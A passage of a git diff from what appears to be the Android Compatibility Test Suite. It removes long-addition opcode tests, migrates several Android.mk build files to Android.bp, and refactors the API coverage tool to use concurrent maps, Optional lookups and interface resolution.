- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_long_2addr;
-
-import junit.framework.TestCase;
-
-public class AddLong2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 12345678l, 87654321l
-     */
-    public void testN1() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(99999999l, t.run(12345678l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = 0l, 87654321l
-     */
-    public void testN2() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(87654321l, t.run(0l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = -12345678l, 0l
-     */
-    public void testN3() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-12345678l, t.run(-12345678l, 0l));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MAX_VALUE
-     */
-    public void testB1() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(9223372036854775807L, t.run(0l, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MIN_VALUE
-     */
-    public void testB2() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775808L, t.run(0l, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB3() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(0l, t.run(0l, 0l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MAX_VALUE
-     */
-    public void testB4() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-2, t.run(Long.MAX_VALUE, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MIN_VALUE
-     */
-    public void testB5() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-1l, t.run(Long.MAX_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + Long.MIN_VALUE
-     */
-    public void testB6() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(0l, t.run(Long.MIN_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + 1
-     */
-    public void testB7() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775807l, t.run(Long.MIN_VALUE, 1l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + 1
-     */
-    public void testB8() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775808l, t.run(Long.MAX_VALUE, 1l));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java
deleted file mode 100644
index 777a356..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long_2addr;
-
-public class AddLong2Addr_1 {
-
-    public long run(long a, long b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java
deleted file mode 100644
index 4c7dd18..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2Addr_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long_2addr;
-
-public class AddLong2Addr_6 {
-
-    public long run(double a) {
-        return 0;
-    }
-}
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
new file mode 100644
index 0000000..4ba27ad
--- /dev/null
+++ b/tests/vr/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVrTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctsvrextensions_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsVerifierMockVrListenerServiceFiles",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "14",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
deleted file mode 100644
index d939f0b..0000000
--- a/tests/vr/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVrTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
new file mode 100644
index 0000000..1bdc092
--- /dev/null
+++ b/tests/vr/jni/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+    name: "libctsvrextensions_jni",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-Wextra",
+    ],
+    srcs: ["VrExtensionsJni.cpp"],
+    include_dirs: [
+        "system/core/include",
+        "frameworks/native/opengl/include",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libEGL",
+        "libGLESv2",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
deleted file mode 100644
index 769b9ef..0000000
--- a/tests/vr/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctsvrextensions_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra -std=c++11
-
-LOCAL_SRC_FILES := VrExtensionsJni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index a0c6457..caf1ade 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,8 +21,6 @@
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
 
@@ -30,7 +28,6 @@
         super(CtsActivity.class);
     }
 
-    @CddTest(requirement="7.9.2/C-1-2")
     public void testLacksDeprecatedVrModeFeature() {
         mActivity = getActivity();
         boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -43,7 +40,6 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-3")
     public void testSustainedPerformanceModeSupported() {
         mActivity = getActivity();
         PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);
diff --git a/tools/cfassembler/Android.bp b/tools/cfassembler/Android.bp
new file mode 100644
index 0000000..a5431d1
--- /dev/null
+++ b/tools/cfassembler/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_binary_host {
+  name: "cfassembler",
+  srcs: [
+    "src/dxconvext/ClassFileAssembler.java",
+    "src/dxconvext/util/FileUtils.java",
+  ],
+  manifest: "etc/cfassembler_manifest.txt",
+  wrapper: "etc/cfassembler",
+}
diff --git a/tools/cfassembler/Android.mk b/tools/cfassembler/Android.mk
deleted file mode 100644
index df736ed..0000000
--- a/tools/cfassembler/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# cfassembler host module
-#============================================================
-
-include $(CLEAR_VARS)
-
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cfassembler
-LOCAL_SRC_FILES := etc/cfassembler
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/cfassembler$(COMMON_JAVA_PACKAGE_SUFFIX)
-include $(BUILD_PREBUILT)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
-
-# cfassembler java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := src/dxconvext/ClassFileAssembler.java src/dxconvext/util/FileUtils.java
-LOCAL_JAR_MANIFEST := etc/cfassembler_manifest.txt
-
-LOCAL_MODULE:= cfassembler
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
diff --git a/tools/cts-api-coverage/Android.bp b/tools/cts-api-coverage/Android.bp
new file mode 100644
index 0000000..b0df7f1
--- /dev/null
+++ b/tools/cts-api-coverage/Android.bp
@@ -0,0 +1,56 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+java_library_host {
+    name: "api-coverage",
+
+    srcs: [
+        "**/*.java",
+        "proto/**/*.proto",
+    ],
+
+    proto: {
+        type: "full",
+        local_include_dirs: ["proto"],
+    },
+
+    java_resource_dirs: ["res"],
+
+    static_libs: [
+        "compatibility-host-util",
+        "dexlib2",
+        // This tool is not checking any dependencies or metadata, so all of the
+        // dependencies of all of the tests must be on its classpath. This is
+        // super fragile.
+        "tradefed",
+        "hosttestlib",
+        "platformprotos",
+    ],
+}
+
+java_binary_host {
+    name: "cts-api-coverage",
+    wrapper: "etc/cts-api-coverage",
+    static_libs: ["api-coverage"],
+    manifest: "MANIFEST.mf",
+}
+
+
+java_binary_host {
+    name: "ndk-api-report",
+    wrapper: "etc/ndk-api-report",
+    static_libs: ["api-coverage"],
+    manifest: "MANIFEST.mf",
+}
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
deleted file mode 100644
index 8e5e0ee..0000000
--- a/tools/cts-api-coverage/Android.mk
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# the cts-api-coverage script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cts-api-coverage
-LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-
-include $(BUILD_PREBUILT)
-
-# the ndk-api-report script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := ndk-api-report
-LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
-
-include $(BUILD_PREBUILT)
-
-# cts-api-coverage java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-subdir-java-files) \
-    $(call all-proto-files-under, proto)
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_PROTOC_FLAGS := --proto_path=$(LOCAL_PATH)/proto/
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-  compatibility-host-util \
-  dexlib2
-
-LOCAL_MODULE := cts-api-coverage
-
-# This tool is not checking any dependencies or metadata, so all of the
-# dependencies of all of the tests must be on its classpath. This is
-# super fragile.
-LOCAL_STATIC_JAVA_LIBRARIES += \
-  tradefed hosttestlib \
-  platformprotos
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiClass.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiClass.java
index 9eeb907..734a8bb 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiClass.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiClass.java
@@ -19,7 +19,11 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
 
 /** Representation of a class in the API with constructors and methods. */
 class ApiClass implements Comparable<ApiClass>, HasCoverage {
@@ -32,14 +36,16 @@
 
     private final boolean mAbstract;
 
-    private final List<ApiConstructor> mApiConstructors = new ArrayList<ApiConstructor>();
+    private final List<ApiConstructor> mApiConstructors = Collections.synchronizedList(new ArrayList<>());
 
-    private final List<ApiMethod> mApiMethods = new ArrayList<ApiMethod>();
+    private final List<ApiMethod> mApiMethods = Collections.synchronizedList(new ArrayList<>());
 
     private final String mSuperClassName;
 
     private ApiClass mSuperClass;
 
+    private Map<String, ApiClass> mInterfaceMap = new HashMap<String, ApiClass>();
+
     /**
      * @param name The name of the class
      * @param deprecated true iff the class is marked as deprecated
@@ -81,11 +87,22 @@
 
     public void setSuperClass(ApiClass superClass) { mSuperClass = superClass; }
 
+    public void addInterface(String interfaceName) {
+        mInterfaceMap.put(interfaceName, null);
+    }
+
+    public void resolveInterface(String interfaceName, ApiClass apiInterface) {
+        mInterfaceMap.replace(interfaceName, apiInterface);
+    }
+
+    public Set<String> getInterfaceNames() {
+        return mInterfaceMap.keySet();
+    }
+
     public void addConstructor(ApiConstructor constructor) {
         mApiConstructors.add(constructor);
     }
 
-
     public Collection<ApiConstructor> getConstructors() {
         return Collections.unmodifiableList(mApiConstructors);
     }
@@ -100,24 +117,26 @@
             // Mark matching constructors in the superclass
             mSuperClass.markConstructorCovered(parameterTypes, coveredbyApk);
         }
-        ApiConstructor apiConstructor = getConstructor(parameterTypes);
-        if (apiConstructor != null) {
-            apiConstructor.setCovered(coveredbyApk);
-        }
-
+        Optional<ApiConstructor> apiConstructor = getConstructor(parameterTypes);
+        apiConstructor.ifPresent(constructor -> constructor.setCovered(coveredbyApk));
     }
 
     /** Look for a matching method and if found and mark it as covered */
-    public void markMethodCovered(
-            String name, List<String> parameterTypes, String returnType, String coveredbyApk) {
+    public void markMethodCovered(String name, List<String> parameterTypes, String coveredbyApk) {
         if (mSuperClass != null) {
             // Mark matching methods in the super class
-            mSuperClass.markMethodCovered(name, parameterTypes, returnType, coveredbyApk);
+            mSuperClass.markMethodCovered(name, parameterTypes, coveredbyApk);
         }
-        ApiMethod apiMethod = getMethod(name, parameterTypes, returnType);
-        if (apiMethod != null) {
-            apiMethod.setCovered(coveredbyApk);
+        if (!mInterfaceMap.isEmpty()) {
+            // Mark matching methods in the interfaces
+            for (ApiClass mInterface : mInterfaceMap.values()) {
+                if (mInterface != null) {
+                    mInterface.markMethodCovered(name, parameterTypes, coveredbyApk);
+                }
+            }
         }
+        Optional<ApiMethod> apiMethod = getMethod(name, parameterTypes);
+        apiMethod.ifPresent(method -> method.setCovered(coveredbyApk));
     }
 
     public Collection<ApiMethod> getMethods() {
@@ -157,17 +176,16 @@
         return getTotalMethods();
     }
 
-    private ApiMethod getMethod(String name, List<String> parameterTypes, String returnType) {
+    private Optional<ApiMethod> getMethod(String name, List<String> parameterTypes) {
         for (ApiMethod method : mApiMethods) {
             boolean methodNameMatch = name.equals(method.getName());
             boolean parameterTypeMatch =
                     compareParameterTypes(method.getParameterTypes(), parameterTypes);
-            boolean returnTypeMatch = compareType(method.getReturnType(), returnType);
-            if (methodNameMatch && parameterTypeMatch && returnTypeMatch) {
-                return method;
+            if (methodNameMatch && parameterTypeMatch) {
+                return Optional.of(method);
             }
         }
-        return null;
+        return Optional.empty();
     }
 
     /**
@@ -242,12 +260,12 @@
         return type.length() == 3 && isGenericType(type.substring(0, 1)) && isArrayType(type);
     }
 
-    private ApiConstructor getConstructor(List<String> parameterTypes) {
+    private Optional<ApiConstructor> getConstructor(List<String> parameterTypes) {
         for (ApiConstructor constructor : mApiConstructors) {
             if (compareParameterTypes(constructor.getParameterTypes(), parameterTypes)) {
-                return constructor;
+                return Optional.of(constructor);
             }
         }
-        return null;
+        return Optional.empty();
     }
 }
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiConstructor.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiConstructor.java
index a6fbf12..665ce7d 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiConstructor.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiConstructor.java
@@ -20,7 +20,9 @@
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
 
 /** Representation of a constructor in the API with parameters (arguments). */
 class ApiConstructor implements Comparable<ApiConstructor> {
@@ -32,7 +34,7 @@
     private final boolean mDeprecated;
 
     // A list of test APKs (aka CTS modules) that use this method.
-    private final Set<String> mCoveredWith = new HashSet<>();
+    private final Map<String, Boolean> mCoveredWith = new ConcurrentHashMap<>();
 
     ApiConstructor(String name, List<String> parameterTypes, boolean deprecated) {
         mName = name;
@@ -65,10 +67,10 @@
         if (coveredWithModule.endsWith(".apk")) {
             coveredWithModule = coveredWithModule.substring(0, coveredWithModule.length() - 4);
         }
-        mCoveredWith.add(coveredWithModule);
+        mCoveredWith.put(coveredWithModule, true);
     }
 
     public Set<String> getCoveredWith() {
-        return mCoveredWith;
+        return mCoveredWith.keySet();
     }
 }
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiCoverage.java
index 953aab3..5ab0ee3 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiCoverage.java
@@ -21,18 +21,19 @@
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
 
 /** Representation of the entire API containing packages. */
 class ApiCoverage {
 
-    private final Map<String, ApiPackage> mPackages = new HashMap<String, ApiPackage>();
+    private final Map<String, ApiPackage> mPackages = new ConcurrentHashMap<>();
 
     public void addPackage(ApiPackage pkg) {
         mPackages.put(pkg.getName(), pkg);
     }
 
     public ApiPackage getPackage(String name) {
-        return mPackages.get(name);
+        return name == null ? null : mPackages.get(name);
     }
 
     public Collection<ApiPackage> getPackages() {
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiMethod.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiMethod.java
index 56c225d..0b6f09b 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiMethod.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiMethod.java
@@ -20,7 +20,9 @@
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
 
 
 /** Representation of a method in the API with parameters (arguments) and a return value. */
@@ -43,7 +45,7 @@
     private final boolean mAbstractMethod;
 
     // A list of test APKs (aka CTS modules) that use this method.
-    private final Set<String> mCoveredWith = new HashSet<>();
+    private final Map<String, Boolean> mCoveredWith = new ConcurrentHashMap<>();
 
     ApiMethod(
             String name,
@@ -97,13 +99,13 @@
 
     public boolean isFinalMethod() { return mFinalMethod; }
 
-    public Set<String> getCoveredWith() { return mCoveredWith; }
+    public Set<String> getCoveredWith() { return mCoveredWith.keySet(); }
 
     public void setCovered(String coveredWithModule) {
         if (coveredWithModule.endsWith(".apk")) {
             coveredWithModule = coveredWithModule.substring(0, coveredWithModule.length() - 4);
         }
 
-        mCoveredWith.add(coveredWithModule);
+        mCoveredWith.put(coveredWithModule, true);
     }
 }
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiPackage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiPackage.java
index 7be7e3c..07d8654 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiPackage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/ApiPackage.java
@@ -22,13 +22,14 @@
 import java.util.Iterator;
 import java.util.Map;
 import java.util.Map.Entry;
+import java.util.concurrent.ConcurrentHashMap;
 
 /** Representation of a package in the API containing classes. */
 class ApiPackage implements HasCoverage {
 
     private final String mName;
 
-    private final Map<String, ApiClass> mApiClassMap = new HashMap<String, ApiClass>();
+    private final Map<String, ApiClass> mApiClassMap = new ConcurrentHashMap<>();
 
     ApiPackage(String name) {
         mName = name;
@@ -44,7 +45,7 @@
     }
 
     public ApiClass getClass(String name) {
-        return mApiClassMap.get(name);
+        return name == null ? null : mApiClassMap.get(name);
     }
 
     public Collection<ApiClass> getClasses() {
@@ -84,20 +85,37 @@
             Map.Entry<String, ApiClass> entry = it.next();
             ApiClass apiClass = entry.getValue();
             if (apiClass.getSuperClassName() != null) {
+                // Add the super class
                 String superClassName = apiClass.getSuperClassName();
-                // Split the fully qualified class name into package and class name.
-                String packageName = superClassName.substring(0, superClassName.lastIndexOf('.'));
-                String className = superClassName.substring(
-                        superClassName.lastIndexOf('.') + 1, superClassName.length());
-                if (packageMap.containsKey(packageName)) {
-                    ApiPackage apiPackage = packageMap.get(packageName);
-                    ApiClass superClass = apiPackage.getClass(className);
-                    if (superClass != null) {
-                        // Add the super class
-                        apiClass.setSuperClass(superClass);
-                    }
-                }
+                ApiClass superClass = findClass(packageMap, superClassName);
+                apiClass.setSuperClass(superClass);
+            }
+            for (String interfaceName : apiClass.getInterfaceNames()) {
+                // Add the interface
+                ApiClass apiInterface = findClass(packageMap, interfaceName);
+                apiClass.resolveInterface(interfaceName, apiInterface);
             }
         }
     }
+
+    /** Find a class that matches the fully qualified class name.  */
+    private ApiClass findClass(Map<String, ApiPackage> packageMap, String fullClassName) {
+        // Split the fully qualified class name into package and class name.
+        int delimiterIndex = fullClassName.lastIndexOf('.');
+        while (delimiterIndex > 0) {
+            String packageName = fullClassName.substring(0, delimiterIndex);
+            String className = fullClassName.substring(delimiterIndex + 1);
+            if (packageMap.containsKey(packageName)) {
+                ApiPackage apiPackage = packageMap.get(packageName);
+                ApiClass apiClass = apiPackage.getClass(className);
+                if (apiClass != null) {
+                    // api class found
+                    return apiClass;
+                }
+            }
+            delimiterIndex = fullClassName.lastIndexOf('.', delimiterIndex - 1);
+        }
+        return null;
+    }
 }
+
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CddCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CddCoverage.java
index 3d1a07d..591a929 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CddCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CddCoverage.java
@@ -24,11 +24,12 @@
 import java.util.Map;
 import java.util.List;
 import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
 
 /** Representation of the entire CDD. */
 class CddCoverage {
 
-    private final Map<String, CddRequirement> requirements = new HashMap<>();
+    private final Map<String, CddRequirement> requirements = new ConcurrentHashMap<>();
 
     public void addCddRequirement(CddRequirement cddRequirement) {
         requirements.put(cddRequirement.getRequirementId(), cddRequirement);
@@ -39,10 +40,10 @@
     }
 
     public void addCoverage(String cddRequirementId, TestMethod testMethod) {
-        if (!requirements.containsKey(cddRequirementId)) {
-            requirements.put(cddRequirementId, new CddRequirement(cddRequirementId));
-        }
+        if (cddRequirementId == null)
+            return;
 
+        requirements.putIfAbsent(cddRequirementId, new CddRequirement(cddRequirementId));
         requirements.get(cddRequirementId).addTestMethod(testMethod);
     }
 
@@ -52,7 +53,7 @@
 
         CddRequirement(String requirementId) {
             this.mRequirementId = requirementId;
